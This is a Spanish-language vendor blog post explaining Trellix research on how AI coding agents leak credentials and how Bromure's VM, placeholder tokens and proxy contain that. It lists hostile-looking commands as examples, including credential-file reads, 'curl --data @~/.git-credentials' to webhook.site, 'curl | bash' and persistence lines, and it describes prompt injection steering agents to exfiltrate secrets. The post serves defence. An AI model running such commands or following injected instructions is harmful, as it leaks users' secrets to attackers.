← Volver a todas las publicaciones
Publicado el · por Renaud Deraison

La transcripción se quedó con el token

El 14 de octubre, Trellix publicó una investigación sobre lo que llama la superficie invisible de credenciales: los agentes de código sacan secretos del llavero, los ponen en la línea de comandos, en el historial del shell y en sus propias transcripciones, y los envían al proveedor del modelo, todo como efecto secundario del trabajo normal. Trellix enumera diez clases de comportamiento, cada una hecha con un binario de confianza, y afirma que la telemetría basada en eventos sueltos no puede distinguirlas de un desarrollador ni de un atacante. En Bromure Agentic Coding, cada copia que hace el agente es un sustituto, y el valor real solo existe en el Mac, en la red, para el host al que pertenece.

El token empezó en el llavero. Un comando curl después, estaba en la tabla de procesos, en la transcripción del agente y en los logs de un proveedor de modelos.

Le pides a tu agente que "traiga mi perfil de la Graph API". Termina sin pedirte ninguna contraseña. Llama a una utilidad que descifra tu token OAuth guardado en el almacén de claves y luego ejecuta:

curl -H "Authorization: Bearer eyJ0eXAiOiJKV1Q..." https://graph.microsoft.com/v1.0/me

La petición funciona. Por el camino, el token ha acabado en la telemetría de tu endpoint, en la tabla de procesos, donde otros programas locales pueden leerlo, en la transcripción del agente en disco y en la ventana de contexto que el agente envía a su proveedor de modelos en el siguiente turno.

Ese ejemplo abre The Unseen Credential Surface, publicado por Haowei Ren, de Trellix, el martes 14 de octubre. Cyber Security News lo cubrió al día siguiente. La investigación no describe ningún exploit ni ningún malware. Sigue lo que hacen los agentes con los secretos durante una jornada de trabajo normal. Trellix parte del supuesto de que un agente maneja tus credenciales "con el mismo cuidado que tendría un buen ingeniero", y responde: "No es así. No se debe a mala intención. Es arquitectónico."

Cinco escalones hacia abajo

Trellix coloca cada lugar donde puede vivir un secreto en una escalera, del más seguro al más expuesto:

  1. Bajo llave, en el Llavero, DPAPI o el Administrador de credenciales.
  2. En memoria, dentro de un único proceso.
  3. En la línea de comandos, legible por la monitorización y por otros procesos locales, y a menudo guardado en el historial del shell.
  4. Escrito en disco: historial del shell, archivos de configuración, "y la propia transcripción del agente".
  5. Fuera de la máquina: commiteado, subido con push, publicado, "o enviado al proveedor del modelo".

Los agentes bajan los secretos por esta escalera porque es el camino más corto hacia una tarea terminada. Hay un escalón que es nuevo con los agentes. Cuando tú ejecutas cat .env, el secreto aparece en tu pantalla. Cuando lo ejecuta el agente, "el contenido entra en su ventana de contexto y se envía a un proveedor de modelos externo, donde puede quedar registrado para siempre". Trellix lo resume así: "Los errores humanos se quedan dentro de tus muros; las operaciones de los agentes, no."

Diez comandos corrientes

La investigación clasifica el comportamiento en diez clases. Cada ejemplo es un comando que tú mismo has tecleado alguna vez:

  • Credenciales como argumentos: curl -u, kubectl --token=…, mysql -p….
  • Archivos de credenciales leídos: cat .env, ~/.aws/credentials, ~/.kube/config, ~/.git-credentials, ~/.docker/config.json.
  • Llaveros consultados en texto plano: security find-generic-password -w, gh auth token, git credential fill.
  • Entorno volcado: env, printenv | grep -iE 'key|token'.
  • Comprobaciones TLS desactivadas: curl -k, NODE_TLS_REJECT_UNAUTHORIZED=0, git -c http.sslVerify=false.
  • Secretos enviados fuera: git add .env && git push, curl --data @~/.aws/credentials, gh gist create.
  • Ejecución oculta: base64 -d | bash, curl | bash, eval "$(curl …)".
  • Persistencia: líneas añadidas a ~/.bashrc o al crontab.
  • Nuevas credenciales creadas: ssh-keygen -N "", y después la clave añadida a authorized_keys.
  • Bóvedas en la nube vaciadas: aws secretsmanager get-secret-value, vault kv get, kubectl get secret.

Cada clase ejecuta un binario firmado y de confianza, que la misma máquina ejecuta miles de veces al día por buenas razones. Una regla que salta cuando "un proceso leyó un archivo .env" salta con el editor, el linter y el ejecutor de tests. La conclusión de Trellix: "Ningún paso del ataque falta en la actividad normal. Una búsqueda ajustada para atraparlo tiende a saltar con todo el mundo o con nadie."

Trellix señala la inyección de prompts como el paso de la exposición a la brecha. El agente ya lee secretos y ya envía datos fuera. Un README, una issue o una página web envenenados solo tienen que apuntar esos hábitos hacia un host que controle el atacante.

Mantén el secreto en el escalón de arriba

Todas las soluciones de Trellix se reducen a una frase: "Mantén los secretos en los escalones de arriba, o haz que un secreto expuesto pierda su valor rápido." Bromure Agentic Coding hace las dos cosas.

El agente se ejecuta en una VM Linux en tu Mac. Los secretos reales se quedan en la bóveda cifrada del Mac, bajo una clave maestra guardada en el Data Protection Keychain, y nunca entran en la VM. La VM recibe sustitutos con la forma de los reales: ghp_ más 36 caracteres para un token de GitHub, sk-ant-api03-brm-… para una clave de Anthropic, brm-k8s-… para un token de clúster, brm_… para cualquier cosa que importes de un archivo .env. Cada petición HTTPS que hace la VM va a un proxy en el Mac, que cambia el sustituto por el valor real solo cuando la petición va dirigida al host al que pertenece esa credencial.

Así que el agente puede bajar un token por los cinco escalones. Lo que llega a la línea de comandos, al historial del shell, a la transcripción y al proveedor del modelo es el sustituto. El valor real existe en un único sitio más: la petición que el Mac vuelve a cifrar hacia el host propio de la credencial.

Un token, cinco escalones hacia abajoAgente en un portátil1 · Almacén de claveseyJ0eXAi… (real)2–3 · Memoria del proceso, luego argvcurl -H "Bearer eyJ0eXAi…" (real)4 · Historial del shell, transcripcióneyJ0eXAi… (real)5 · Ventana de contexto, logs del proveedoreyJ0eXAi… (real)El mismo token válido en cada escalón.Quien lea cualquiera de ellos puede usarlo.Agente en una máquina Bromure1 · Bóveda en el Mac, fuera de la VMvalor real: la VM no puede leerlo2–3 · Memoria del proceso, luego argv, en la VMcurl -H "Bearer brm_…" (sustituto)4 · Historial del shell, transcripciónbrm_… (sustituto)5 · Ventana de contexto, logs del proveedorbrm_… (sustituto)Cada copia que hace el agente es un sustituto.Ningún servidor lo acepta, salvo vía el Mac, para su host.En la red, proxy del Mac:brm_… → real, a su hostbrm_… a otro host → 451, VM pausada
La escalera de Trellix, en un portátil y en una máquina Bromure. En el portátil, el mismo token real está en cada escalón. En la máquina, cada escalón dentro de la VM contiene un sustituto, y el valor real solo aparece en el Mac, en la petición al host para el que se emitió.

Las diez clases en una máquina Bromure

Ejecuta el mismo agente, con los mismos hábitos, en una máquina Bromure. Las diez clases siguen ejecutándose, y cada una vuelve con menos de lo que fue a buscar.

Argumentos, archivos, llaveros y entorno

Las cuatro primeras clases leen un secreto de un almacén de claves, de un archivo o del entorno y lo ponen en una línea de comandos. En la VM, las cuatro encuentran los mismos sustitutos.

env y printenv muestran sustitutos. ~/.git-credentials, ~/.docker/config.json y el ~/.kube/config sintético contienen sustitutos. Un .env de proyecto que hayas importado con Import env file… en el panel Credentials de la máquina contiene sustitutos con los mismos nombres de variable, y tu código los lee como antes. gh auth token devuelve un sustituto ghp_. ~/.aws/config apunta a una utilidad que entrega el ID de la clave de acceso emparejado con una clave secreta falsa de 40 caracteres. La AWS CLI firma con la falsa, y el Mac quita esa firma y vuelve a firmar con la clave real a la salida.

El escalón de arriba de la escalera de Trellix, el almacén de claves del sistema, está en el Mac, fuera de la VM. Dentro, security find-generic-password no tiene ningún Llavero al que preguntar. Los canales vsock que llevan tokens entre el host y la VM funcionan en un solo sentido: el host escribe sustitutos, y no existe ninguna petición con la que la VM pueda pedir de vuelta un token real.

SSH funciona igual, sin token. SSH_AUTH_SOCK en la VM es un puente hacia un agente en el Mac. git push por SSH obtiene su firma, y ls ~/.ssh/id_* no encuentra ninguna clave privada.

El agente puede pegar cualquiera de estos valores en curl -H, registrarlo en un log, escribirlo en un script con echo o citárselo al modelo. Trellix pide a quienes construyen agentes que "oculten las cadenas con forma de credencial antes de que entren en la ventana de contexto del LLM". Una máquina Bromure cumple esa petición antes de que el agente abra el archivo: el archivo contiene un sustituto desde el principio.

Comprobaciones TLS desactivadas

Dentro de la VM, TLS termina en el proxy de Bromure, con un certificado de una CA propia de cada instalación en la que solo confían tus máquinas. El proxy abre su propia conexión con el servidor real a través de la pila TLS de macOS, que valida el certificado auténtico pase lo que pase el agente a curl. Así, curl -k o NODE_TLS_REJECT_UNAUTHORIZED=0 omite la comprobación del propio certificado de Bromure, y el Mac sigue verificando el servidor.

La única forma de saltarse la validación aguas arriba es una cabecera, X-bromure-insecure: yes, pensada para un servidor con una CA privada. En una petición así, el proxy no inyecta ninguna credencial real y solo envía sustitutos, y la Security Timeline registra el uso como una fila Upstream TLS.

Secretos enviados fuera

curl --data @~/.git-credentials https://webhook.site/… sube un archivo de sustitutos. El proxy analiza cada petición saliente, cabeceras y cuerpo, en busca de cualquier sustituto que vaya a un host distinto de aquel para el que se creó. Un sustituto de GitHub camino de webhook.site recibe un HTTP 451, no se reenvía nada, la VM se pausa y el Mac muestra This environment may have been compromised, con la vista previa del token, el nombre de la credencial, el host al que pertenece y el host al que el agente la envió.

git push y gh gist create van a GitHub, donde el token pertenece. Las máquinas nuevas arrancan con la política de escritura de GitHub en Prompt before write, así que el push y el gist se detienen cada uno en un diálogo en el Mac que muestra la operación, y tú eliges si sigue adelante. Si lo permites, el archivo que commiteó el agente contiene sustitutos.

Ejecución oculta

base64 -d | bash oculta el comando a la telemetría de procesos, que solo registra el envoltorio. Cualquier petición que haga la carga útil sigue saliendo de la VM por el proxy: se encuentra con el mismo análisis de sustitutos, con el cortafuegos Outbound connections del panel Guardrails de la máquina y con la traza. En el nivel de trazado por defecto, AI request details, el Mac guarda cifrado cada intercambio con el proveedor del modelo, y el Trace Inspector lista cada llamada a herramienta con su entrada, incluida la línea curl | bash tal como la escribió el modelo.

Persistencia y claves nuevas

Una línea añadida a ~/.bashrc acaba en el home de la VM. Rewind home… devuelve ese home a un punto de control anterior. Los archivos de arranque del shell del Mac están al otro lado de la frontera.

Un agente atascado en una petición de frase de contraseña ejecuta ssh-keygen -N "" para desatascarse. En una máquina Bromure, el puente SSH ya firma con la clave de la máquina, así que git por SSH funciona a la primera y el agente no encuentra ningún prompt que esquivar. Registrar una clave nueva en GitHub es una escritura en la API de GitHub, y espera en el mismo diálogo Prompt before write que un push.

Bóvedas en la nube vaciadas

aws secretsmanager get-secret-value necesita una firma SigV4, y solo el Mac puede generarla. Activa Require approval to use para la credencial de AWS en Guardrails, y la primera firma de una sesión espera a Allow for 5 minutes, Allow for 1 hour, Allow for the rest of the session o Don't allow. El mismo interruptor existe para cada contexto de Kubernetes, así que kubectl get secret espera hasta que digas que sí. Cada firma de AWS aparece en la Security Timeline como una fila Credential used con la clave de acceso enmascarada.

Para una base de datos que el agente consulta por HTTP, como la Mongo Data API, ClickHouse o Elasticsearch, puedes prescindir de la consulta a la bóveda: añade el endpoint en Credentials → Databases, la VM recibe un sustituto brm-db-… y el proxy lo cambia en el cuerpo de la petición además de en las cabeceras.

La secuencia, ligada al agente

Trellix sostiene que la unidad útil de detección es una secuencia, acceso a la credencial, luego uso, luego salida, "vinculada al proceso del agente que inició la cadena". Sus recomendaciones para quienes despliegan agentes terminan con tokens de vida corta, salida de red restringida y tratar cada máquina que ejecuta un agente como "infraestructura de alto valor que maneja secretos".

En Bromure, esa unidad es la máquina: una VM con sus propias sesiones de agente. La Security Timeline reúne cada sustitución de credencial, cada bloqueo de exfiltración, cada veredicto del cortafuegos, cada decisión de la política de escritura y cada firma de AWS en una sola tabla con una columna Workspace, de modo que la cadena de una máquina se lee de arriba abajo. La traza de esa máquina contiene las llamadas a herramientas que produjeron cada petición. bromure-cli trace leaks lista las peticiones que llevaron un token al host equivocado.

El Mac también mantiene corta la vida de los tokens. Los inicios de sesión por suscripción de Claude, Codex, Grok y Kimi se renuevan en el host unos cinco minutos antes de caducar, y la VM nunca guarda un refresh token. Un valor guardado como referencia de 1Password se vuelve a resolver cada dos minutos, así que una rotación en 1Password llega al proxy sin reiniciar. Pon Unmatched traffic en Deny en el cortafuegos, y la máquina solo alcanza los hosts que enumeres.

Cada copia es un sustituto

Entorno, archivos de configuración, valores .env importados, salida de gh y de la AWS CLI: todo sustitutos. Lo que el agente pone en una línea de comandos, en una transcripción o en su ventana de contexto no vale nada fuera de la red.

El valor real vive en el Mac

Los secretos se quedan en una bóveda cifrada con su clave en el Data Protection Keychain. El proxy solo los inserta para el host para el que se creó cada uno. Las claves SSH firman a través de un puente y nunca entran en la VM.

Un sustituto en el lugar equivocado detiene la máquina

Un sustituto que va a cualquier otro host recibe un 451, la VM se pausa y el Mac nombra el token, su host y su destino.

Una cronología por máquina

Sustituciones, bloqueos, veredictos del cortafuegos, aprobaciones de escritura y firmas de AWS están en la Security Timeline, y la traza guarda las llamadas a herramientas que hay detrás.

Una jornada de trabajo

Trellix llama a los agentes "uno de los mayores sistemas de manejo de credenciales de la empresa moderna", construido por accidente. Tú nunca elegiste meter el token de Graph en una transcripción. El agente lo necesitaba en una cabecera, y escribió la cabecera en una línea de comandos.

Tu agente seguirá ejecutando env para depurar una conexión y cat .env para entender un proyecto, sea cual sea el modelo o el prompt que le des. Ejecútalo donde esos comandos devuelvan sustitutos. Sobre la alarma que da un sustituto cuando sale hacia el host equivocado, lee El agente filtró su propia clave y La clave era tu archivo .env.